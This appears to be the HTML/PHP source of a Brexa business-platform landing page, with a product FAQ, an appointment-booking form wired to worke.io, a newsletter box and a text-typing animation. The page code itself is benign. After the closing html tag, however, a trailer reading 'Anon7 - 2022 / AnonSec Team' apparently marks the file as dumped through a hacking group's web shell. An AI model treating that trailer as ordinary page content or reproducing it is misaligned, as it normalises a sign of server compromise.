            <div class="card-blog-grid card-blog-grid-2 hover-up">
              <div class="card-image"><a href="what-is-brexa-mobile-app-widget-how-is-it-placed-on-website.php"><img src="assets/imgs/page/blog-detail/blog-4.png" alt="Brexa"></a></div>
              <div class="card-info"><a href="what-is-brexa-mobile-app-widget-how-is-it-placed-on-website.php">
                  <h6 class="color-brand-1">What is Brexa Mobile App Widget? How is it placed on..</h6>
                </a>
                <div class="mt-20 d-flex align-items-center border-top pt-20"><a class="btn btn-border-brand-1 mr-10" href="blog.php">Brexa</a><span class="date-post font-xs color-grey-300 mr-10">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z">
                      </path>
                    </svg>07 May 2023</span><span class="time-read font-xs color-grey-300">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"></path>
                    </svg>9 mins read</span></div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>

    <section class="section mt-50">
      <div class="container">
        <div class="box-newsletter">
          <div class="row justify-content-center align-items-center text-center">
            <div class="col-lg-8 col-md-8 mt-15 mb-15">
              <h2 class="color-brand-1 mb-15 ">Make your Business experience awesome</h2>
              <span class="font-lg color-brand-1">Trusted by +1,100 businesses around the world</span>
              <!-- <p class="font-md color-grey-500">By clicking the button, you are agreeing with our Term & Conditions</p> -->

            </div>
          </div>
        </div>
      </div>
    </section>

    <section class="section pt-80">
      <div class="container">
        <div class="text-center">
          <h2 class="color-brand-1 mb-20">Frequently asked questions</h2>
        </div>
        <div class="row mt-50 mb-50">
          <div class="col-xl-12 col-lg-12 position-relative">
            <div class="accordion accordionStyle2" id="accordionFAQ">
              <div class="row">
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingOne">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseOne" aria-expanded="true" aria-controls="collapseOne">What is Brexa?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseOne" aria-labelledby="headingOne" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Brexa is a comprehensive business management platform designed to streamline operations, increase efficiency, and improve customer engagement.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingTwo">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo">What industries can benefit from Brexa?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseTwo" aria-labelledby="headingTwo" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Brexa caters to a wide range of industries, including consulting, staffing, software agencies, retail, coaching, legal, accounting, event planning, real estate, beauty & wellness, freelancers, and many more.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingThree">
                      <button class="accordion-button text-heading-5 collapsed text-heading-5 type=" data-bs-toggle="collapse" data-bs-target="#collapseThree" aria-expanded="false" aria-controls="collapseThree">What are the key features of Brexa?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseThree" aria-labelledby="headingThree" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Brexa offers a variety of powerful features, including automation, chatbot builder, sales CRM, branded scheduling portal, omni-channel live chat, web forms, customizable pipelines, appointment & meeting scheduler, client & project management, invoices, time tracking, task management, knowledge base, and more.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingFour">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseFour" aria-expanded="false" aria-controls="collapseFour">Can Brexa integrate with other tools and platforms?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseFour" aria-labelledby="headingFour" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Yes, Brexa provides seamless integration with popular tools and platforms such as email marketing services, payment gateways, calendar applications, and project management tools to ensure smooth workflow and data synchronization.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingFive">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseFive" aria-expanded="false" aria-controls="collapseFive">Is Brexa user-friendly?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseFive" aria-labelledby="headingFive" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Absolutely! Brexa is designed with a user-friendly interface and intuitive navigation, making it easy for businesses to adopt and use the platform without extensive training or technical expertise.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingSix">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseSix" aria-expanded="false" aria-controls="collapseSix">Is Brexa secure and reliable?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseSix" aria-labelledby="headingSix" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Brexa prioritizes data security and reliability. The platform implements advanced security measures, data encryption, and regular backups to safeguard your business information.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingSeven">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseSeven" aria-expanded="false" aria-controls="collapseSeven">Can Brexa be customized to suit specific business needs?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseSeven" aria-labelledby="headingSeven" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Yes, Brexa offers customizable features and workflows to adapt to your unique business requirements. You can tailor pipelines, forms, and other elements to align with your specific processes.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingEight">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseEight" aria-expanded="false" aria-controls="collapseEight">How does Brexa help improve customer engagement?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseEight" aria-labelledby="headingEight" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Brexa provides various tools like chatbots, live chat, and client portals to enhance customer engagement. These features enable instant communication, self-service options, and personalized interactions, improving overall customer satisfaction.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingNine">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseNine" aria-expanded="false" aria-controls="collapseNine">Does Brexa offer customer support?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseNine" aria-labelledby="headingNine" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Absolutely! Brexa offers dedicated customer support to assist users with any questions or technical issues they may encounter. You can reach out to our support team via email, chat, or phone.</div>
                    </div>
                  </div>
                </div>
                <div class="col-lg-6">
                  <div class="accordion-item">
                    <h5 class="accordion-header" id="headingTen">
                      <button class="accordion-button text-heading-5 collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseTen" aria-expanded="false" aria-controls="collapseTen">How can I get started with Brexa?</button>
                    </h5>
                    <div class="accordion-collapse collapse" id="collapseTen" aria-labelledby="headingTen" data-bs-parent="#accordionFAQ">
                      <div class="accordion-body">Getting started with Brexa is simple. You can sign up for a free trial or contact our sales team to discuss your business needs and explore the best plan options for your organization.</div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>


    <section class="section mt-50">
      <div class="container">
        <div class="box-radius-32-style-2">
          <div class="row align-items-center">
            <div class="col-lg-7"><span class="title-line line-48">Get Started</span>
              <h1 class="color-brand-1 mb-20 mt-10">Start for free <br class="d-none d-lg-block">Pay as you Grow</h1>
              <div class="row">
                <div class="col-lg-10">
                  <p class="font-md color-grey-500">Collaborate, plan projects and manage resources with powerful
                    features that your whole team can use. The latest news, tips and advice to help you run your
                    business with less fuss.</p>
                </div>
              </div>
              <div class="mt-30">
                <h5 class="color-brand-1">We're on the horizon</h5>
              </div>
              <div class="box-button mt-20"> <a class="btn-app mb-15 hover-up" href="#"> <img src="assets/imgs/template/appstore-btn.png" alt="Brexa"></a><a class="btn-app mb-15 hover-up" href="#"> <img src="assets/imgs/template/google-play-btn.png" alt="Brexa"></a>
              </div>
            </div>
            <div class="col-lg-5 text-start position-relative"><span class="arrow-down-banner shape-1"></span><span class="arrow-right-banner shape-2"></span>
              <div class="box-signup">
                <!--<h4 class="color-brand-1 mb-30">Sign up for free</h4>-->
                <h4 class="color-brand-1 mb-30">Book an Appointment</h4>

                <!--<form id='worke-form-00599e7b-3c2c-4ad1-abd1-4cda1a490a9b' style="max-width: 450px;" onsubmit="WorkeSubmissionHandling(event, 'worke-form-00599e7b-3c2c-4ad1-abd1-4cda1a490a9b','app.backend')">-->
                <!--    <p id="worke-success-message"-->
                <!--          style="display: none; color:white; margin: 20px 15px; font-family: Trebuchet MS; font-size: 20px; background-color: rgb(75, 181, 67); padding: 10px; border-radius: 5px;">-->
                <!--          Form Submitted Successfully-->
                <!--    </p>-->
                <!--    <input type='text' value="00599e7b-3c2c-4ad1-abd1-4cda1a490a9b"  style="display: none" name="form_id" required />-->
                <!--    <input type='text' value="da6ac225-5f03-4c76-9a63-32936610d000"  style="display: none" name="organisation_id" required />-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="34549a90-e429-451d-b9f2-a343ddb9f22f"><span style="color: #ff0000">*</span> Name</label>-->
                <!--                <input type="text" style="padding:7px; font-size:16px; " name="Name" id="34549a90-e429-451d-b9f2-a343ddb9f22f" data-key="TEXT" data-name="Name" required />-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1"><span style="color: #ff0000">*</span> Phone Number</label>-->
                <!--                <div style="display: table-row;">-->
                <!--                    <select id="d23390bd-39a0-4691-be32-271d31de8a9e" name="ccode" data-key="NUMBER" data-name="ccode" class="worke-ccode-select" style="padding:7px;  font-size: 16px; max-width:25%">-->
                <!--                    </select>-->
                <!--                    <input type="text" style="padding:7px; font-size:16px; " name="Phone Number" id="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1" data-key="TEXT" data-name="Phone Number" required />-->
                <!--                </div>-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="7e62520d-7f27-4e7b-8301-53f6ebed909e"><span style="color: #ff0000">*</span> Email</label>-->
                <!--                <input type="text" style="padding:7px; font-size:16px; " name="Email" id="7e62520d-7f27-4e7b-8301-53f6ebed909e" data-key="TEXT" data-name="Email" required />-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="927d6102-c4f3-426e-b9ee-b20a1c3cfc25"> Your website Url</label>-->
                <!--                <input type="text" style="padding:7px; font-size:16px; " name="Your website Url" id="927d6102-c4f3-426e-b9ee-b20a1c3cfc25" data-key="TEXT" data-name="Your website Url"  />-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="d951f88c-c413-4dfa-bdfe-1382c911dbf7"> Message</label>-->
                <!--                <textarea type="text" style="padding:7px; font-size:16px; " name="Message" id="d951f88c-c413-4dfa-bdfe-1382c911dbf7" data-key="TEXT_AREA" data-name="Message" ></textarea>-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="c5cf5486-ab94-4152-a2d1-1029a3319164"> How did you hear about us?</label>-->
                <!--                <select type="text" style="padding:7px; font-size: 16px; " name="How did you hear about us?" id="c5cf5486-ab94-4152-a2d1-1029a3319164" data-key="SELECT_DROPDOWN" data-name="How did you hear about us?" class="worke-drop_down-select"  >-->
                <!--                        <option value='Google' style="font-size: 12px;">Google</option><option value='Facebook/Instagram' style="font-size: 12px;">Facebook/Instagram</option><option value='Linkedin' style="font-size: 12px;">Linkedin</option><option value='Others' style="font-size: 12px;">Others</option>-->
                <!--                </select>-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--    <div class="row">-->
                <!--        <div class="col-lg-12 col-sm-12">-->
                <!--            <div class="form-group mb-25">-->
                <!--                <div style="display: flex; justify-content: end;">-->
                <!--                    <button type='reset' style="padding: 10px 15px; font-size:16px; font-weight: 500; background-color: #bcbcbc; border: 0px; border-radius: 5px; margin-right: 20px">Reset</button>-->
                <!--                    <button type='submit' style="padding: 10px 15px; font-size:16px; font-weight: 500; background-color: black; color:white; border: 0px; border-radius: 5px; margin-right: 20px">Submit</button>-->
                <!--                </div>-->
                <!--            </div>-->
                <!--        </div>-->
                <!--    </div>-->

                <!--</form>-->
                <!--<script src="https://worke.io/form.js"></script>-->

                <form id='worke-form-00599e7b-3c2c-4ad1-abd1-4cda1a490a9b' style="max-width: 450px;" onsubmit="WorkeSubmissionHandling(event, 'worke-form-00599e7b-3c2c-4ad1-abd1-4cda1a490a9b','app.backend')">

                  <input type='text' value="00599e7b-3c2c-4ad1-abd1-4cda1a490a9b" style="display: none" name="form_id" required />
                  <input type='text' value="da6ac225-5f03-4c76-9a63-32936610d000" style="display: none" name="organisation_id" required />

                  <div class="row">
                    <div class="col-lg-12 col-sm-12">
                      <div class="form-group mb-25">
                        <label class="font-sm color-grey-900 mb-10" for="34549a90-e429-451d-b9f2-a343ddb9f22f">Name *</label>
                        <input class="form-control" type="name" name="Name" id="34549a90-e429-451d-b9f2-a343ddb9f22f" data-key="TEXT" data-name="Name" placeholder="Enter Name">
                      </div>
                    </div>

                    <!--<div class="col-lg-6 col-sm-6">-->
                    <!--  <div class="form-group mb-25">-->
                    <!--    <label class="font-sm color-grey-900 mb-10" for="0e8c7659-9a2b-4055-9a85-1df15042ddac">Company Name *</label>-->
                    <!--    <input class="form-control" name="Company Name" id="0e8c7659-9a2b-4055-9a85-1df15042ddac" data-key="TEXT" data-name="Company Name" type="text" placeholder="Company Name">-->
                    <!--  </div>-->
                    <!--</div>-->

                    <div class="col-lg-12 col-sm-12">
                      <div class="form-group mb-25">
                        <div style="display: row-column;" class="form-mobile-number mb-25">
                          <label class="font-sm color-grey-900 mb-10" for="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1"> Mobile Number *</label>
                          <div style="display: flex;">
                            <select id="d23390bd-39a0-4691-be32-271d31de8a9e" name="ccode" data-key="NUMBER" data-name="ccode" class="worke-ccode-select" style="max-width:30%">
                            </select>
                            <input type="text" class="" name="Mobile Number" id="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1" data-key="TEXT" data-name="Mobile Number" required />
                          </div>
                        </div>
                      </div>
                    </div>

                    <!--<div class="col-lg-12 col-sm-12">-->
                    <!--    <div class="form-group mb-25">-->
                    <!--        <label style="font-size: 16px; font-family: Trebuchet MS;padding-bottom:5px;" for="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1"><span style="color: #ff0000">*</span> Phone Number</label>-->
                    <!--        <div style="display: table-row;">-->
                    <!--            <select id="d23390bd-39a0-4691-be32-271d31de8a9e" name="ccode" data-key="NUMBER" data-name="ccode" class="worke-ccode-select" style="padding:7px;  font-size: 16px; max-width:25%">-->
                    <!--            </select>-->
                    <!--            <input type="text" style="padding:7px; font-size:16px; " name="Phone Number" id="ec1b6e01-c8f3-421b-b8e5-36d25aefc0a1" data-key="TEXT" data-name="Phone Number" required />-->
                    <!--        </div>-->
                    <!--    </div>-->
                    <!--</div>-->


                    <div class="col-lg-12">
                      <div class="form-group mb-25">
                        <label class="font-sm color-grey-900 mb-10" for="7e62520d-7f27-4e7b-8301-53f6ebed909e">Email *</label>
                        <input class="form-control" type="mail" name="Work Email" id="7e62520d-7f27-4e7b-8301-53f6ebed909e" data-key="TEXT" data-name="Work Email" placeholder="Work Email">
                      </div>
                    </div>
                    <div class="col-lg-12">
                      <div class="form-group mb-25">
                        <label class="font-sm color-grey-900 mb-10" for="927d6102-c4f3-426e-b9ee-b20a1c3cfc25"> Your website Url</label>
                        <input class="form-control" type="mail" name="url" id="927d6102-c4f3-426e-b9ee-b20a1c3cfc25" data-key="TEXT" data-name="url" placeholder="Your website Url">
                      </div>
                    </div>

                    <!--<div class="col-lg-6">-->
                    <!--  <div class="form-group mb-25">-->
                    <!--    <label class="font-sm color-grey-900 mb-10" for="0ec88090-eb40-4403-89ef-45ae8ef74702">Designation *</label>-->
                    <!--    <input class="form-control" type="text" name="Designation" id="0ec88090-eb40-4403-89ef-45ae8ef74702" data-key="TEXT" data-name="Designation" placeholder="Designation">-->
                    <!--  </div>-->
                    <!--</div>-->

                    <div class="col-lg-12">
                      <div class="form-group mb-25">
                        <label class="font-sm color-grey-900 mb-10" for="d951f88c-c413-4dfa-bdfe-1382c911dbf7">Describe your Requirement *</label>
                        <textarea class="form-control" type="text" style="padding:7px; font-size:16px; " name="Describe your Requirement" id="d951f88c-c413-4dfa-bdfe-1382c911dbf7" data-key="TEXT_AREA" data-name="Describe your Requirement" required></textarea>
                      </div>
                    </div>

                    <div class="col-lg-12 col-sm-12">
                      <div class="form-group mb-25">
                        <label class="font-sm color-grey-900 mb-10" for="c5cf5486-ab94-4152-a2d1-1029a3319164"> How did you hear about us?</label>
                        <select type="text" name="About" id="c5cf5486-ab94-4152-a2d1-1029a3319164" data-key="SELECT_DROPDOWN" data-name="About" class="form-control w-100">
                          <option value='Google' style="font-size: 12px;">Google</option>
                          <option value='Facebook /  Instagram' style="font-size: 12px;">Facebook / Instagram</option>
                          <option value='Linkedin' style="font-size: 12px;">Linkedin</option>
                          <option value='Others' style="font-size: 12px;">Others</option>
                        </select>
                      </div>
                    </div>

                    <p id="worke-success-message" style="display: none; color:white; margin: 20px 15px; font-family: Trebuchet MS; font-size: 20px; background-color: rgb(75, 181, 67); padding: 10px; border-radius: 5px;">
                      Form Submitted Successfully
                    </p>

                    <div class="col-lg-12 col-sm-12">
                      <div class="form-group mb-25">
                        <div style="display: flex; justify-content: end;">
                          <button type='reset' class="btn btn-brand-2">Reset</button>
                          <button type='submit' class="btn btn-brand-1">Submit</button>
                        </div>
                      </div>
                    </div>

                    <!--<div class="col-lg-12">-->
                    <!--  <div class="form-group mb-25">-->
                    <!--    <label>-->
                    <!--      <input class="form-cb" type="checkbox">Remeber me-->
                    <!--    </label>-->
                    <!--  </div>-->
                    <!--  <div class="form-group mb-15">-->
                    <!--    <button class="btn btn-brand-1-full" type="submit">Request a demo</button>-->
                    <!--  </div>-->
                    <!--  <div class="text-already text-center"> <span class="font-xs color-grey-400">Already have an account?-->
                    <!--    </span><a class="color-brand-1 font-xs" href="https://app.worke.io/login">Log In</a><span class="font-xs color-grey-400">.</span></div>-->

                    <!--</div>-->
                  </div>
                </form>
                <script src="https://worke.io/form.js"></script>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>

    <section class="section mt-50">
      <div class="container">
        <div class="box-newsletter box-newsletter-2">
          <div class="row align-items-center">
            <div class="col-lg-6 col-md-7 m-auto text-center"><span class="font-lg color-brand-1">Newsletter</span>
              <h2 class="color-brand-1 mb-15 mt-5">Subcribe our newsletter</h2>
              <p class="font-md color-grey-500">Do not miss the latest information from us about the trending in the
                market. By clicking the button, you are agreeing with our Term & Conditions</p>
              <div class="form-newsletter mt-30">
                <form action="#">
                  <input type="text" placeholder="Enter you mail ..">
                  <button class="btn btn-submit-newsletter" type="submit">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>
                    </svg>
                  </button>
                </form>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>

  </main>

  <!--Footer section start-->
  <?php include 'footer.php'; ?>
  <!--Footer section End-->


  <script src="assets/js/vendors/modernizr-3.6.0.min.js"></script>
  <script src="assets/js/vendors/jquery-3.6.0.min.js"></script>
  <script src="assets/js/vendors/jquery-migrate-3.3.0.min.js"></script>
  <script src="assets/js/vendors/bootstrap.bundle.min.js"></script>
  <script src="assets/js/vendors/waypoints.js"></script>
  <script src="assets/js/vendors/wow.js"></script>
  <script src="assets/js/vendors/magnific-popup.js"></script>
  <script src="assets/js/vendors/perfect-scrollbar.min.js"></script>
  <script src="assets/js/vendors/select2.min.js"></script>
  <script src="assets/js/vendors/isotope.js"></script>
  <script src="assets/js/vendors/scrollup.js"></script>
  <script src="assets/js/vendors/swiper-bundle.min.js"></script>
  <script src="assets/js/vendors/noUISlider.js"></script>
  <script src="assets/js/vendors/slider.js"></script>
  <!-- Count down-->
  <script src="assets/js/vendors/counterup.js"></script>
  <script src="assets/js/vendors/jquery.countdown.min.js"></script>
  <!-- Count down-->
  <script src="assets/js/vendors/jquery.elevatezoom.js"></script>
  <script src="assets/js/vendors/slick.js"></script>
  <script src="assets/js/main.js?v=4.0.0"></script>

  <script>
    const typedTextSpan = document.querySelector(".typed-text");
    const cursorSpan = document.querySelector(".cursor");

    const textArray = ["AI Powered Bot", "Appointments and Meetings", "Modern Sales CRM", "Customisable Pipeline", "Mobile App Client Portal", "Omni Channel Chat", "AI Powered Automation", "Webforms", "Smart Pop ups & More"];
    const typingDelay = 50;
    const erasingDelay = 200;
    const newTextDelay = 0; // Delay between current and next text
    let textArrayIndex = 0;
    let charIndex = 0;

    function type() {
      if (charIndex < textArray[textArrayIndex].length) {
        if (!cursorSpan.classList.contains("typing")) cursorSpan.classList.add("typing");
        typedTextSpan.textContent += textArray[textArrayIndex].charAt(charIndex);
        charIndex++;
        setTimeout(type, typingDelay);
      } else {
        cursorSpan.classList.remove("typing");
        setTimeout(erase, newTextDelay);
      }
    }

    function erase() {
      if (charIndex > 0) {
        if (!cursorSpan.classList.contains("typing")) cursorSpan.classList.add("typing");
        typedTextSpan.textContent = textArray[textArrayIndex].substring(0, charIndex - 1);
        charIndex--;
        setTimeout(erase, erasingDelay);
      } else {
        cursorSpan.classList.remove("typing");
        textArrayIndex++;
        if (textArrayIndex >= textArray.length) textArrayIndex = 0;
        setTimeout(type, typingDelay + 1100);
      }
    }

    document.addEventListener("DOMContentLoaded", function() { // On DOM Load initiate the effect
      if (textArray.length) setTimeout(type, newTextDelay + 250);
    });
  </script>
</body>

</html>

Anon7 - 2022
AnonSec Team